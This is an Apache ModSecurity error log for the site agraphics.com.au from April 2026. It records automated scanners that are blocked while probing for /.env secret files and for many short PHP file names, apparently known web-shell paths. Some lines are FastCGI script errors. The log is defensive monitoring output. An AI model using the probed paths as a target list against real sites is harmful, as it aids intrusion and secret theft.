[Wed Apr 22 04:49:30.878226 2026] [:error] [pid 23041:tid 23049] [client 185.242.3.48:49251] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/home"] [unique_id "aefi2kTXx_lUa7xwAb6eIgAAAQU"]
[Wed Apr 22 04:49:31.718703 2026] [:error] [pid 23041:tid 23067] [client 185.242.3.48:65235] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/home"] [unique_id "aefi20TXx_lUa7xwAb6eJAAAARc"]
[Wed Apr 22 04:49:32.596508 2026] [:error] [pid 21682:tid 21738] [client 185.242.3.48:62918] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/home"] [unique_id "aefi3JlXWQZUlmPHS3rfrwAAAE8"]
[Wed Apr 22 04:49:33.356713 2026] [:error] [pid 21683:tid 21766] [client 185.242.3.48:50737] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/home"] [unique_id "aefi3VZBWT-0diZyYyZrSwAAAJA"]
[Wed Apr 22 04:49:33.999286 2026] [:error] [pid 21683:tid 21765] [client 185.242.3.48:59513] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/home"] [unique_id "aefi3VZBWT-0diZyYyZrTQAAAI8"]
[Wed Apr 22 07:09:22.650846 2026] [:error] [pid 23041:tid 23066] [client 2.57.122.108:56914] [client 2.57.122.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aegDokTXx_lUa7xwAb7lzwAAARY"]
[Wed Apr 22 07:09:23.258118 2026] [:error] [pid 31755:tid 31767] [client 2.57.122.108:44692] [client 2.57.122.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aegDowz2mYMkg3X8q1tnXQAAAgQ"]
[Wed Apr 22 18:12:43.720194 2026] [:error] [pid 6252:tid 6324] [client 158.173.21.82:12916] [client 158.173.21.82] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aeifG-tGYuiYb1nWBpQrlQAAAQw"]
[Wed Apr 22 19:38:11.014841 2026] [proxy_fcgi:error] [pid 9085:tid 9102] [client 134.149.32.112:19208] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:38:11.277291 2026] [proxy_fcgi:error] [pid 9085:tid 9092] [client 134.149.32.112:19208] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:38:11.609896 2026] [proxy_fcgi:error] [pid 9085:tid 9103] [client 134.149.32.112:19208] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:38:11.867886 2026] [proxy_fcgi:error] [pid 9085:tid 9090] [client 134.149.32.112:19208] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:38:12.124955 2026] [proxy_fcgi:error] [pid 9085:tid 9097] [client 134.149.32.112:19208] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:38:12.382360 2026] [proxy_fcgi:error] [pid 9085:tid 9101] [client 134.149.32.112:19208] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:38:12.639812 2026] [proxy_fcgi:error] [pid 9085:tid 9089] [client 134.149.32.112:19208] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:38:12.897577 2026] [proxy_fcgi:error] [pid 9085:tid 9098] [client 134.149.32.112:19208] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:38:13.185602 2026] [proxy_fcgi:error] [pid 9085:tid 9091] [client 134.149.32.112:19208] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:38:13.809449 2026] [proxy_fcgi:error] [pid 9085:tid 9103] [client 134.149.32.112:19208] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:38:14.382380 2026] [:error] [pid 9085:tid 9107] [client 134.149.32.112:19208] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeizJt-_-or9vQnlWno-ZAAAAVQ"]
[Wed Apr 22 19:38:16.501740 2026] [:error] [pid 6384:tid 6409] [client 134.149.32.112:16714] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeizKD58M3t15ICeWHUWLAAAANY"]
[Wed Apr 22 19:38:18.992857 2026] [:error] [pid 9085:tid 9097] [client 134.149.32.112:1654] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeizKt-_-or9vQnlWno-bAAAAUo"]
[Wed Apr 22 19:38:20.648952 2026] [:error] [pid 6252:tid 6316] [client 134.149.32.112:36957] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeizLOtGYuiYb1nWBpRAgAAAAQQ"]
[Wed Apr 22 19:38:21.689216 2026] [:error] [pid 6252:tid 6314] [client 134.149.32.112:35364] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeizLetGYuiYb1nWBpRAhQAAAQI"]
[Wed Apr 22 19:38:23.819988 2026] [:error] [pid 9085:tid 9110] [client 134.149.32.112:24553] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeizL9-_-or9vQnlWno-fwAAAVc"]
[Wed Apr 22 19:38:25.695907 2026] [:error] [pid 9085:tid 9109] [client 134.149.32.112:17204] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeizMd-_-or9vQnlWno-jgAAAVY"]
[Wed Apr 22 19:38:27.356114 2026] [:error] [pid 6384:tid 6389] [client 134.149.32.112:24557] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeizMz58M3t15ICeWHUWSQAAAMI"]
[Wed Apr 22 19:38:28.974413 2026] [:error] [pid 9085:tid 9090] [client 134.149.32.112:20206] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeizNN-_-or9vQnlWno-mgAAAUM"]
[Wed Apr 22 19:38:31.521144 2026] [:error] [pid 9085:tid 9102] [client 134.149.32.112:31823] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeizN9-_-or9vQnlWno-oAAAAU8"]
[Wed Apr 22 19:38:34.000874 2026] [:error] [pid 6344:tid 6363] [client 134.149.32.112:18750] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeizOkDOTF-pkQnDeUndBAAAAA4"]
[Wed Apr 22 19:38:35.831381 2026] [:error] [pid 6252:tid 6313] [client 134.149.32.112:20223] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeizO-tGYuiYb1nWBpRAjwAAAQE"]
[Wed Apr 22 19:38:38.163635 2026] [:error] [pid 6252:tid 6316] [client 134.149.32.112:18696] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeizPutGYuiYb1nWBpRAkQAAAQQ"]
[Wed Apr 22 19:38:40.628665 2026] [:error] [pid 23776:tid 23794] [client 134.149.32.112:13843] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeizQLRExf-1pAbSeJvTVgAAAZA"]
[Wed Apr 22 19:38:43.135037 2026] [:error] [pid 6384:tid 6393] [client 134.149.32.112:35340] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeizQz58M3t15ICeWHUWcAAAAMY"]
[Wed Apr 22 19:38:44.791456 2026] [:error] [pid 6384:tid 6394] [client 134.149.32.112:24543] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeizRD58M3t15ICeWHUWdwAAAMc"]
[Wed Apr 22 19:38:46.965389 2026] [:error] [pid 9085:tid 9099] [client 134.149.32.112:17155] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aeizRt-_-or9vQnlWno-zgAAAUw"]
[Wed Apr 22 19:38:49.540643 2026] [:error] [pid 9085:tid 9105] [client 134.149.32.112:1972] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aeizSd-_-or9vQnlWno-3wAAAVI"]
[Wed Apr 22 19:38:51.100600 2026] [:error] [pid 6384:tid 6408] [client 134.149.32.112:32935] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aeizSz58M3t15ICeWHUWfgAAANU"]
[Wed Apr 22 19:38:54.123369 2026] [:error] [pid 6250:tid 6272] [client 134.149.32.112:20337] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aeizTg-iZeQkqmQVfj79zwAAAFI"]
[Wed Apr 22 19:38:55.982192 2026] [:error] [pid 6384:tid 6407] [client 134.149.32.112:32951] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeizTz58M3t15ICeWHUWgQAAANQ"]
[Wed Apr 22 19:38:57.517180 2026] [:error] [pid 6384:tid 6391] [client 134.149.32.112:35335] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeizUT58M3t15ICeWHUWhQAAAMQ"]
[Wed Apr 22 19:38:58.624108 2026] [:error] [pid 6384:tid 6406] [client 134.149.32.112:27104] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeizUj58M3t15ICeWHUWiAAAANM"]
[Wed Apr 22 19:39:00.051650 2026] [:error] [pid 9085:tid 9107] [client 134.149.32.112:35380] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeizVN-_-or9vQnlWno_CAAAAVQ"]
[Wed Apr 22 19:39:03.672845 2026] [:error] [pid 23776:tid 23787] [client 134.149.32.112:30320] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "aeizV7RExf-1pAbSeJvTggAAAYk"]
[Wed Apr 22 19:39:04.638764 2026] [:error] [pid 9085:tid 9101] [client 134.149.32.112:30274] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "aeizWN-_-or9vQnlWno_NQAAAU4"]
[Wed Apr 22 19:39:06.449896 2026] [:error] [pid 6384:tid 6395] [client 134.149.32.112:31816] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "aeizWj58M3t15ICeWHUWkgAAAMg"]
[Wed Apr 22 19:39:09.275478 2026] [:error] [pid 6384:tid 6396] [client 134.149.32.112:25408] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "aeizXT58M3t15ICeWHUWlwAAAMk"]
[Wed Apr 22 19:39:11.341642 2026] [:error] [pid 23776:tid 23791] [client 134.149.32.112:24503] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/water.php"] [unique_id "aeizX7RExf-1pAbSeJvTlgAAAY0"]
[Wed Apr 22 19:39:13.622929 2026] [proxy_fcgi:error] [pid 6384:tid 6394] [client 134.149.32.112:34923] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:39:13.924449 2026] [proxy_fcgi:error] [pid 6384:tid 6409] [client 134.149.32.112:34923] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:39:14.206989 2026] [proxy_fcgi:error] [pid 6384:tid 6401] [client 134.149.32.112:34923] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:39:14.489128 2026] [proxy_fcgi:error] [pid 6384:tid 6411] [client 134.149.32.112:34923] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:39:14.788364 2026] [proxy_fcgi:error] [pid 6384:tid 6403] [client 134.149.32.112:34923] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:39:17.021761 2026] [proxy_fcgi:error] [pid 6384:tid 6397] [client 134.149.32.112:34923] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:39:17.305890 2026] [proxy_fcgi:error] [pid 6384:tid 6401] [client 134.149.32.112:34923] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:39:17.603430 2026] [proxy_fcgi:error] [pid 6384:tid 6399] [client 134.149.32.112:34923] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:39:17.886839 2026] [proxy_fcgi:error] [pid 6384:tid 6410] [client 134.149.32.112:34923] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:39:18.168899 2026] [proxy_fcgi:error] [pid 6384:tid 6387] [client 134.149.32.112:34923] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:39:18.450369 2026] [proxy_fcgi:error] [pid 6384:tid 6400] [client 134.149.32.112:34923] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:39:18.757061 2026] [:error] [pid 6384:tid 6395] [client 134.149.32.112:34923] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeizZj58M3t15ICeWHUWvAAAAMg"]
[Wed Apr 22 19:39:22.306839 2026] [:error] [pid 9085:tid 9101] [client 134.149.32.112:1377] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeizat-_-or9vQnlWno_kwAAAU4"]
[Wed Apr 22 19:39:23.903062 2026] [:error] [pid 23776:tid 23793] [client 134.149.32.112:17436] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeiza7RExf-1pAbSeJvTsAAAAY8"]
[Wed Apr 22 19:39:25.781897 2026] [:error] [pid 23776:tid 23801] [client 134.149.32.112:21980] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeizbbRExf-1pAbSeJvTtQAAAZc"]
[Wed Apr 22 19:39:28.193137 2026] [:error] [pid 6384:tid 6408] [client 134.149.32.112:22686] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeizcD58M3t15ICeWHUW4wAAANU"]
[Wed Apr 22 19:39:30.210623 2026] [:error] [pid 6384:tid 6400] [client 134.149.32.112:24017] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeizcj58M3t15ICeWHUW7AAAAM0"]
[Wed Apr 22 19:39:32.183869 2026] [:error] [pid 23776:tid 23787] [client 134.149.32.112:29110] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeizdLRExf-1pAbSeJvTvQAAAYk"]
[Wed Apr 22 19:39:33.952128 2026] [:error] [pid 23776:tid 23792] [client 134.149.32.112:21223] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeizdbRExf-1pAbSeJvTwQAAAY4"]
[Wed Apr 22 19:39:35.834737 2026] [:error] [pid 6344:tid 6353] [client 134.149.32.112:30620] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeizd0DOTF-pkQnDeUndWwAAAAQ"]
[Wed Apr 22 19:39:37.588166 2026] [:error] [pid 9085:tid 9101] [client 134.149.32.112:20410] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeized-_-or9vQnlWno_vgAAAU4"]
[Wed Apr 22 19:39:39.432549 2026] [:error] [pid 6344:tid 6357] [client 134.149.32.112:21231] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeize0DOTF-pkQnDeUndXwAAAAg"]
[Wed Apr 22 19:39:40.496700 2026] [:error] [pid 6251:tid 6304] [client 134.149.32.112:30605] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeizfCsFAzbyObL-SQ5xbAAAAJM"]
[Wed Apr 22 19:39:41.742465 2026] [:error] [pid 9085:tid 9099] [client 134.149.32.112:16973] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeizfd-_-or9vQnlWno_zQAAAUw"]
[Wed Apr 22 19:39:43.531501 2026] [:error] [pid 9085:tid 9103] [client 134.149.32.112:25195] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeizf9-_-or9vQnlWno_1QAAAVA"]
